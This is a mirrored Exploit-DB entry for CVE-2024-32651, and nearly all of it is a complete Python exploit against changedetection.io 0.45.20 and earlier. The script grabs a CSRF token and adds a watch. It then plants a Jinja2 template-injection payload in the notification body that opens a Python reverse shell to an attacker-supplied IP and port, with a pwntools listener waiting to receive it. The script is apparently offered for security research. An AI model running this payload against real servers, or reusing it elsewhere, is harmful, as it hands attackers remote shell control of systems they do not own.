changedetection < 0.45.20 - Remote Code Execution (RCE)

• Exploit Database
• 863 阅读

• 作者： Zach Crosman (zcrosman)
  日期： 2024-05-31
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/52027/

• # Exploit Title: changedetection <= 0.45.20 Remote Code Execution (RCE)
  # Date: 5-26-2024
  # Exploit Author: Zach Crosman (zcrosman)
  # Vendor Homepage: changedetection.io
  # Software Link: https://github.com/dgtlmoon/changedetection.io
  # Version: <= 0.45.20
  # Tested on: Linux
  # CVE : CVE-2024-32651
  
  from pwn import *
  import requests
  from bs4 import BeautifulSoup
  import argparse
  
  def start_listener(port):
  listener = listen(port)
  print(f"Listening on port {port}...")
  conn = listener.wait_for_connection()
  print("Connection received!")
  context.newline = b'\r\n'
  # Switch to interactive mode
  conn.interactive()
  
  def add_detection(url, listen_ip, listen_port, notification_url=''):
  session = requests.Session()
  
  # First request to get CSRF token
  request1_headers = {
  "Cache-Control": "max-age=0",
  "Upgrade-Insecure-Requests": "1",
  "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
  "Accept-Encoding": "gzip, deflate",
  "Accept-Language": "en-US,en;q=0.9",
  "Connection": "close"
  }
  
  response = session.get(url, headers=request1_headers)
  soup = BeautifulSoup(response.text, 'html.parser')
  csrf_token = soup.find('input', {'name': 'csrf_token'})['value']
  print(f'Obtained CSRF token: {csrf_token}')
  
  # Second request to submit the form and get the redirect URL
  add_url = f"{url}/form/add/quickwatch"
  add_url_headers = {# Define add_url_headers here
  "Origin": url,
  "Content-Type": "application/x-www-form-urlencoded"
  }
  add_url_data = {
  "csrf_token": csrf_token,
  "url": "https://reddit.com/r/baseball",
  "tags": '',
  "edit_and_watch_submit_button": "Edit > Watch",
  "processor": "text_json_diff"
  }
  
  post_response = session.post(add_url, headers=add_url_headers, data=add_url_data, allow_redirects=False)
  
  # Extract the URL from the Location header
  if 'Location' in post_response.headers:
  redirect_url = post_response.headers['Location']
  print(f'Redirect URL: {redirect_url}')
  else:
  print('No redirect URL found')
  return
  
  # Third request to add the changedetection url with ssti in notification config
  save_detection_url = f"{url}{redirect_url}"
  save_detection_headers = {# Define save_detection_headers here
  "Referer": redirect_url,
  "Cookie": f"session={session.cookies.get('session')}"
  }
  
  save_detection_data = {
  "csrf_token": csrf_token,
  "url": "https://reddit.com/r/all",
  "title": '',
  "tags": '',
  "time_between_check-weeks": '',
  "time_between_check-days": '',
  "time_between_check-hours": '',
  "time_between_check-minutes": '',
  "time_between_check-seconds": '30',
  "filter_failure_notification_send": 'y',
  "fetch_backend": 'system',
  "webdriver_delay": '',
  "webdriver_js_execute_code": '',
  "method": 'GET',
  "headers": '',
  "body": '',
  "notification_urls": notification_url,
  "notification_title": '',
  "notification_body": f"""
  {{% for x in ().__class__.__base__.__subclasses__() %}}
  {{% if "warning" in x.__name__ %}}
  {{{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\\"{listen_ip}\\",{listen_port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\\"/bin/bash\\")'").read()}}}}
  {{% endif %}}
  {{% endfor %}}
  """,
  "notification_format": 'System default',
  "include_filters": '',
  "subtractive_selectors": '',
  "filter_text_added": 'y',
  "filter_text_replaced": 'y',
  "filter_text_removed": 'y',
  "trigger_text": '',
  "ignore_text": '',
  "text_should_not_be_present": '',
  "extract_text": '',
  "save_button": 'Save'
  }
  final_response = session.post(save_detection_url, headers=save_detection_headers, data=save_detection_data)
  
  print('Final request made.')
  
  if __name__ == "__main__":
  parser = argparse.ArgumentParser(description='Add detection and start listener')
  parser.add_argument('--url', type=str, required=True, help='Base URL of the target site')
  parser.add_argument('--port', type=int, help='Port for the listener', default=4444)
  parser.add_argument('--ip', type=str, required=True, help='IP address for the listener')
  parser.add_argument('--notification', type=str, help='Notification url if you don\'t want to use the system default')
  args = parser.parse_args()
  
  
  add_detection(args.url, args.ip, args.port, args.notification)
  start_listener(args.port)
  

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